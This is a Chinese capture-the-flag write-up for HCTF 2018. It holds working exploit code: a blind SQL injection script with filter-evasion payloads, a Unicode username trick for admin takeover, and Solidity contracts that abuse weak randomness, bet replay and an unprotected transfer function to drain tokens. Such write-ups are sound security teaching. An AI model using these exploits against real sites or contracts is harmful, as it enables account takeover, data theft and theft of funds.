HCTF 2018 WriteUp

admin 2021年9月15日09:48:21评论58 views字数 12770阅读42分34秒阅读模式

刚好过双11,购物节,光棍节。这么多节日一起过,当然是蹲在电脑前,玩玩CTF啊。

跟龙师傅一起玩了一下今年的 HCTF。排名第 20。真的太难了。强队太多了。

比赛平台入口地址:https://hctf.io/

Web - Warmup

Description
warmup
URL http://warmup.2018.hctf.io
Base Score 1000.00
Now Score 10
Team solved 266

算是签到题吧。然后脑子坏掉了,想了挺久的。其实就是签到题的难度,很简单。

首先,网页源代码有两个关键点,/index.php?file=hint.php 是一个文件包含,source.phpindex.php 的源代码。

hint.php

提示,flag 在 ffffllllaaaagggg

source.php

文件包含,有个检测,不过可以这样子绕过

猜测 flag 文件在根目录

Flag:hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

Web - admin

Description
ch1p want to have new notes,so i write,hahaha
URL http://admin.2018.hctf.io
Base Score 1000.00
Now Score 327.52
Team solved 40

任意注册一个帐号,并登录。

http://admin.2018.hctf.io/change 页面中能看到一段 HTML 注释,指向的是本项目的源代码地址。

<!-- https://github.com/woadsl1234/hctf_flask/ -->

app/templates/index.html 文件中我们能看到满足下述条件的时候就会输出 flag

{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}

重点关注 app/routes.py 文件,在我们输入用户名的时候,都进行了类似 strlower(form.username.data) 的操作,这里我就很奇怪了,为什么不直接用 form.username.data.lower() 来转小写呢

观察这个函数

def strlower(username):
    username = nodeprep.prepare(username)
    return username

其中 nodeprep 来自 twisted.words.protocols.jabber.xmpp_stringprep

然后找到了这篇文章,Unicode 安全

大致意思是,nodeprep 会将 转换成 A 转换成 a

回到 app/routes.py 文件,在 register / login / change 这三个函数都有利用到这个有漏洞的函数

因此最后的思路是:

1. 注册 `ᴬdmin`,即注册了用户 `Admin`
2. 以用户 `Admin` 登录,即登录了 `admin` 用户
3. Get Flag

Flag:hctf{un1c0dE_cHe4t_1s_FuNnying}

Web - kzone

Description
A script kid’s phishing website
URL http://kzone.2018.hctf.io
Base Score 1000.00
Now Score 361.29
Team solved 34

一个QQ空间钓鱼站,扫描网站目录,可以扫到源代码 /www.zip

进行代码审计,可以在 /include/member.php 里找到漏洞点

漏洞一:$admin_user 没有进行过滤,存在注入点。

漏洞二:弱类型判断,令 $login_data['admin_pass'] = true,即可使等式成立,绕过密码验证。

可是 /include/member.php 不能单独加载,而 /include/common.php 会加载所有需要的 php 文件,包含 /include/member.php,所以对 /include/common.php 进行注入即可。

另外, /include/common.php 也会加载 /include/safe.php,这是一个 waf,会对 $_GET / $_POST / $_COOKIE 进行过滤。过滤函数如下:

function waf($string)
{
    $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
    return preg_replace_callback($blacklist, function ($match) {
        return '@' . $match[0] . '@';
    }, $string);
}

那么注入时,想办法绕过就可以了。

可是,member.php 没有回显,没有报错,而且延时注入的关键词也被过滤了。那么怎样知道注入成功呢?

我们可以根据返回头是否含有 set-cookie 置空,来判断 SQL 返回结果 $udata['username'] 是否为空,进而确定是否注入成功(注入语句是否执行成功)。

我注入只能得到 flag 所在的表名 F1444g,列名 f1a9 是猜解出来的。

贴一下注入脚本:

import requests
import json
from urllib import quote

url='http://kzone.2018.hctf.io/include/common.php'

def check(text):
    if 'islogin' in str(text):
        return True
    return False

def inject_len(sql):
    length=0
    for i in range(256):
        payload=sql % (i+1)
        data={'admin_user':quote(payload),'admin_pass':True}
        cookies={'islogin':'1','login_data':json.dumps(data).replace(' ','')}
        r=requests.get(url,cookies=cookies)
        if check(r.headers):
            length=i+1
            break
    return length

def inject_val(sql,length):
    kw=''
    for i in range(1,length+1):
        match=0
        for j in range(0x20,0x80):
            tmp=chr(j)+kw
            payload=sql % (i,tmp.encode('hex'))
            data={'admin_user':quote(payload),'admin_pass':True}
            cookies={'islogin':'1','login_data':json.dumps(data).replace(' ','')}
            r=requests.get(url,cookies=cookies)
            if check(r.headers):
                kw=chr(j)+kw
                print kw
                match=1
                break
        if match==0:
            print 'err'
            break
    return kw

# get table_name from mysql.innodb_table_stats
length=inject_len("admin'/**/and/**/(strcmp(length(right((select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1),256)),%d))/**/and/**/'1")
print 'column length: %d' % length
kw=inject_val("admin'/**/and/**/(strcmp(right((select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1),%d),0x%s))/**/and/**/'1",length)
print 'table name: %s' % kw

# get f1a9 from F1444g
length=inject_len("admin'/**/and/**/(strcmp(length(right((select/**/f1a9/**/from/**/F1444g),256)),%d))/**/and/**/'1")
print 'column length: %d' % length
kw=inject_val("admin'/**/and/**/(strcmp(right((select/**/f1a9/**/from/**/F1444g),%d),0x%s))/**/and/**/'1",length)
print 'flag: %s' % kw.lower()

最终得到 Flag

Flag:hctf{4526a8cbd741b3f790f95ad32c2514b9}

Misc - freq game

Description
this is a eazy game. nc 150.109.119.46 6775
URL http://example.com
Base Score 1000.00
Now Score 349.43
Team solved 36

题目只提供了一个 nc 地址。

输入 hint 可以得到程序的源代码,输入 y 运行这个程序。

贴一下这个程序的源代码:

程序是一个猜数字游戏,总共有 8 关,每关猜 4 个数字,猜错直接退出,猜对进入下一关,通关后输出 flag。

每关需要猜 4 个字节,总共 256^4=4,294,967,296 种情况,其中每关涉及 1500 个小数 4 次 sin 的运算,所以直接爆破不合理。

网上查了一下算法资料,找到 寻找和为定值的两个数

这个算法可以快速找到 数组里哪两个数的和为给定值。那么,我们剩下两字节的数字,可以直接爆破,总共 256^2=65,525 种情况。

贴一下计算脚本:

from pwn import *
import numpy as np
import itertools

io=remote('150.109.119.46',6775)

io.sendlineafter('hint:','y')
io.sendlineafter('token:','5UDJJ3940i4UbHizRdwlTihk682DvS2Y')

def get_number(x, freq,rge):
    y = np.sin(2*np.pi*x*freq)*rge
    return y

def find_sum(array, key):
    if len(array) > 0:
        array = sorted(array)
        start = 0
        end = len(array) - 1
        while start < end:
            result = array[start] + array[end]
            if result > key:
                end -= 1
            elif result < key:
                start += 1
            else:
                return [array[start], array[end]]
    return False

def calc():
    x = np.linspace(0,1,1500)
    t = eval(io.recvuntil(']'))
    table=range(256)

    res=[]
    for i in range(1500):
        res.append([])

    for i in range(256):
        tmp=get_number(x,i,7)
        for j in range(1500):
            res[j].append(tmp[j])

    match=0
    idx=2
    send=''
    for i in res[idx]:
        for j in res[idx]:
            if find_sum(res[idx],t[idx]-i-j)!=False:
                tmp=find_sum(res[idx],t[idx]-i-j)
                p1=res[idx].index(i)
                p2=res[idx].index(j)
                p3=res[idx].index(tmp[0])
                p4=res[idx].index(tmp[1])
                send='%d %d %d %d' % (p1,p2,p3,p4)
                match=1
                break
    if match==0:
        print 'err'
        exit()
    print send
    io.sendline(send)

for i in range(8):
    calc()
io.interactive()

Flag:hctf{29c01049e3be114ff144328b08de519c8c0ee3ad48b6fb10a1ebbf49d2bee827}

Misc - eazy dump

Description
you got it?
backup1:https://pan.baidu.com/s/1X6xSV6Vn6J_F467P3zuoBw
backup2:https://drive.google.com/file/d/1i17hd-kmUqpWvpzLiw3HYNwUz4ToBkq8/view?usp=sharing
URL https://mega.nz/#!MRlVCagA!PO2-h65ioxi4id2mEHHmrKtqGBndgk_3jwHUmLlSkV8
Base Score 1000.00
Now Score 424.63
Team solved 25

一看题目,就觉得是内存取证题。以前的比赛遇过这种类型的题,可是不会解。

前段时间看过内存取证相关题目的 Writeup,了解到 volatility 可以对内存文件进行分析。

参考网上的 Writeup,基本上可以做出本题,这题并不难。

首先,检测内存文件所属的系统版本

套用对应系统版本的配置文件,列出进程列表

找到几个可疑的进程,然后导出对应进程的内存进行分析。

其实本题的 Flag 藏在 Windows 画板 mspaint.exe 里。那么导出该进程的内存,进行分析。

根据网上的 Writeup,mspaint.exe 导出的内存文件 .dmp,需要改名为 .data 格式。然后使用 gimp 直接打开,可以分析出图像。

通过调整 Image Type / Offset / Width / Height 这几个参数到合适的值,我们得到一张图片。

对图片进行 垂直翻转 处理,就能看到 Flag。

Flag:hctf{big_brother_is_watching_you}

Crypto - xor game

Description
This is an English poem, but it is encrypted. Find the flag and restore it (also you can just submit the flag).
http://img.tan90.me/xor_game.zip
URL http://img.tan90.me/xor_game.zip
Base Score 1000.00
Now Score 138.66
Team solved 98

题目只提供了两个文件,加密脚本 challenge.py,密文 cipher.txt

分析加密脚本 challenge.py

大致功能:一首诗 poem.txt,与填充后的密钥 key 进行异或,得到密文 cipher.txt

我们目前已知,poem.txt 只可能是可见字符或者换行符,key 只可能是可见字符。key 填充前的长度未知。

那么,我们可以写个脚本遍历所有可能的情况,逐步把 key 字符范围缩小,最后得到一个可能性比较大的结果。

然后根据得到可能性比较大的 key,推算出 poem.txt 的部分明文。把明文贴网上查一下,查到这首诗是 泰戈尔 写的诗歌《生如夏花》。

将这首诗开头的两句话,与密文开头同样长度的字符串进行异或,得到填充后的正确密钥 key

截取不重复的部分(去除填充),然后加上 flag 格式,得到的就是 flag 了。

贴出解密所用到的代码:

from base64 import *
from Crypto.Util.strxor import strxor

table1=range(ord('a'),ord('z')+1)
table1+=[ord('.'),ord(','),ord('-'),ord('_')]
table2=range(0x20,0x7f)+[0x0a]

r=open('cipher.txt').read()
r=b64decode(r)

keys=[]
for length in range(1,65):
    key=[]
    for i in range(length):
        keyc=[]
        match=1
        for j in table1:
            match=1
            for k in range(len(r)/length):
                if (j ^ ord(r[k*length+i])) not in table2:
                    match=0
                    break
            if match==1:
                match=j
                keyc.append(chr(j))
        if len(keyc): key.append(keyc)
    if len(key)==length:
        keys.append(key)

print 'keys count: %d' % len(keys)
for i in range(len(keys)):
    print 'key %d length: %d' % (i+1,len(keys[i]))
    for j in keys[i]:
        print ''.join(j)

raw="\nLife, thin and light-off time and time again\nFrivolous tireles"
enc_raw=r[:63]
key=strxor(raw,enc_raw)
print '\nkey: %s' % key

def dec(data, key):
    key = (key * (len(data) / len(key) + 1))[:len(data)]
    return strxor(data, key)

print '\npoem.txt: \n%s' % dec(r,key)
print '\nflag: hctf{%s}' % key[:21]

Flag:hctf{xor_is_interesting!@#}

Blockchain - bet2loss

Description
0x006b9bc418e43e92cf8d380c56b8d4be41fda319 for ropsten and open source
D2GBToken is onsale. Now New game is coming.
We’ll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag.
URL http://bet2loss.2018.hctf.io
Base Score 1000.00
Now Score 735.09
Team solved 5

合约地址开源,可以在 Etherscan.io 上找到

合约有三个比较重要的函数,placeBet / settleBet / settleBetCommon,前者是用户下注,中者是服务端开奖验证当前高度的,后者是服务端开奖的处理。

先分析一下 placeBet 函数,接受的参数比较多

uint betMask - 用户心里想的随机数
uint modulo - 倍数
uint betnumber - 下注额
uint commitLastBlock - 该 commit 有效的截止区块
uint commit - commit(见settleBet)
bytes32 r - 验证 commit 和 commitLastBlock 是由服务器生成的参数
bytes32 s - 验证 commit 和 commitLastBlock 是由服务器生成的参数
uint8 v - 验证 commit 和 commitLastBlock 是由服务器生成的参数

commitLastBlock / commit / r / s / v 均来自与服务器的生成:
http://bet2loss.2018.hctf.io/random

分析 settleBet 函数,可以知道 commit 的生成规则

uint commit = uint(keccak256(abi.encodePacked(reveal)));

分析 settleBetCommon 函数,可以知道服务器随机数的生成方式

bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));
uint dice = uint(entropy) % modulo;

中奖的条件是 dice == mask,即上面生成的弱伪随机数和倍数的余数等于我们猜的数。

我们想要中奖的话,只需要将 betMask 等于 dice 就好了。

dice 的取值来源于 revealplaceBlockNumber

在每次用户 placeBet 之后,管理员 0xacb7a6dc0215cfe38e7e22e3f06121d2a1c42f6c 都会调用一次 settleBet 来公开用户提交的 commit 的来源(类似与 hash 的明文),观察了几个 settleBet 所公开的值,发现 reveal 的取值大概是 0-1000000000

这时候,我们知道了 reveal ,知道了 commit 的生成规则,当我们请求 http://bet2loss.2018.hctf.io/random 服务器返回了一个 commit,我们就可以通过暴力遍历的方式,找到该 commit 对应的 reveal。这样我们就控制了生成 dice 的一个参数。

reveal 解决了,接下来就是 placeBlockNumber

placeBlockNumber 在 167 行有定义

bet.placeBlockNumber = uint40(block.number);

他是等于当前的区块高度的,我们可以通过合约的方式,通过合约来调用合约,就可以知道当前的区块高度了。

思路理清楚了,现在我们可以控制中奖结果了,但是倍数最高 100 倍,下注的金额最高为 999 ,单次就可以得到 99900,重复 100 次左右就可以 Get Flag 了。

于是我写了生成 reveal 的成本,将缓存的结果保存在内存当中。

from eth_abi import encode_single
import sha3

l = {}

for i in range(100000000):
    abi = encode_single('uint', i)
    k = sha3.keccak_256()
    k.update(abi)
    commit = k.hexdigest()
    l[commit] = i
    print(i)

由于服务器内存有限,上述代码只生成了 100000000 条数据,就已经占用了接近 20G 的内存。虽然只是总数的十分之一,但是我们可以通过多次请求 /ramdon 的方式来取到我们缓存中的结果。

import requests

def r():
    while True:
        j = requests.get('http://bet2loss.2018.hctf.io/random').json()
        try:
            j['reveal'] = l[j['commit'][2:]]
        except BaseException:
            continue
        return j

r()

然后我还写了合约,来计算 dice 的值,并把他当成 betMask 来提交给合约下注

pragma solidity ^0.4.24;

contract B2LInterface {
    function placeBet(uint, uint, uint, uint, uint, bytes32, bytes32, uint8) public;
    function transfer(address, uint) public;
}

contract Hack {
    function a(uint betnumber, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v, uint reveal) public returns (uint) {
        uint placeBlockNumber = block.number;
        uint modulo = 100;
        bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));
        uint dice = uint(entropy) % modulo;
        B2LInterface(0x006b9Bc418E43E92CF8d380C56b8d4be41FDA319).placeBet(dice, modulo, betnumber, commitLastBlock, commit, r, s, v);
    }
    function b(uint x) public {
        B2LInterface(0x006b9Bc418E43E92CF8d380C56b8d4be41FDA319).transfer(0xRedacted, x);
    }
}

就这样提交了一个执行之后,发现管理员不会理会来自合约的调用,这样就意味着我们得自己手动去 settleBet 这次下注,这样子本身计算 commit 就比较麻烦,然后还有再多一次要执行 settleBet ,算了算了。

继续审计代码,settleBet 函数认真看并没有判断这次 bet 是否已经领奖了,唯一的要求就是当前的区块高度不超过下注的区块高度加 250

此外,还需要主要到 settleBet 开奖的奖金是来自 msg.sender 的,见 218 行和 55 行;再注意到 settleBet 会调用 AirdropCheck(),如果当前 msg.sender 是没有领过空投的话就给他 1000 。

这样就有了新的思路

我调用我的合约 A,我的合约 A 创造很多很多子合约 B 来调用官方合约 C 的 settleBet 函数,将子合约 B 领到的 1000 个空投转给我的合约 A,最后能拿 flag 的时候再从我的合约 A 中转账回我的帐号,我再去调用 getflag 函数

于是就改了一下代码,倍数 99,下注 10,拿空投的 990 刚好差不多:

pragma solidity ^0.4.24;

contract B2LInterface {
    function placeBet(uint, uint, uint, uint, uint, bytes32, bytes32, uint8) public;
    function transfer(address, uint) public;
    function settleBet(uint) public;
}

contract B2L {
    constructor(uint reveal) public {
        B2LInterface(0x006b9Bc418E43E92CF8d380C56b8d4be41FDA319).settleBet(reveal);
    }
}

contract Hack {
    function a(uint betnumber, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v, uint reveal) public returns (uint) {
        uint placeBlockNumber = block.number;
        uint modulo = 99;
        bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));
        uint dice = uint(entropy) % modulo;
        B2LInterface(0x006b9Bc418E43E92CF8d380C56b8d4be41FDA319).placeBet(dice, modulo, betnumber, commitLastBlock, commit, r, s, v);
    }
    function b(uint x) public {
        B2LInterface(0x006b9Bc418E43E92CF8d380C56b8d4be41FDA319).transfer(0xRedacted, x);
    }
    function c(uint reveal, uint ccc) public {
        for (uint i=0; i<=ccc; i++) {
            new B2L(reveal);
        }
    }
}

部署合约,调用了很久的合约,最后够钱了,拿 flag 走人。

Flag:hctf{Ohhhh_r3p1ay_a77ack_f0r_c0n7r4ct}

Blockchain - ez2win

Description
0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropsten
D2GBToken is onsale. we will airdrop each person 10 D2GBTOKEN. You can transcat with others as you like.
only winner can get more than 10000000, but no one can do it.

function PayForFlag(string b64email) public payable returns (bool success){

    require (_balances[msg.sender] > 10000000);

      emit GetFlag(b64email, "Get flag!");

}

hint1:you should recover eht source code first. and break all eht concepts you've already hold
hint2: now open source for you, and its really ez
URL http://example.com
Base Score 1000.00
Now Score 527.78
Team solved 15

合约地址开源,可以在 Etherscan.io 上找到

没开源时,一脸蒙;开源之后,这很简单。

215 行有函数 _transfer(address from, address to, uint256 value)

function _transfer(address from, address to, uint256 value) {
  require(value <= _balances[from]);
  require(to != address(0));
  require(value <= 10000000);

  _balances[from] = _balances[from].sub(value);
  _balances[to] = _balances[to].add(value);
}

一看下划线开头是不是就以为是私有方法了,但默认不说明的就是 public 的,意味着谁都可以调用。

直接复制 ABI,直接调用这个方法,从管理员 0xacb7a6dc0215cfe38e7e22e3f06121d2a1c42f6c 的口袋给自己转足够的钱,然后就可以成功 Get Flag 了

如果你想要有点迷惑性的话可以走一遍自己的合约

pragma solidity ^0.4.24;

contract D2GBInterface{
    function _transfer(address, address, uint256) public;
}

contract Hack {
    function c(uint x) public {
        D2GBInterface(0x71feca5f0fF0123A60ef2871bA6a6e5D289942eF)._transfer(0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C,0xRedacted,x);
    }
}

(吐槽一下第一次 PayForFlag 的时候居然没给我发 flag)

Flag:hctf{0hhhh_m4k3_5ur3_y0ur_acc35s_c0n7r01}

Source: impakho.com | Author:impakho

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月15日09:48:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HCTF 2018 WriteUphttp://cn-sec.com/archives/543980.html

发表评论

匿名网友 填写信息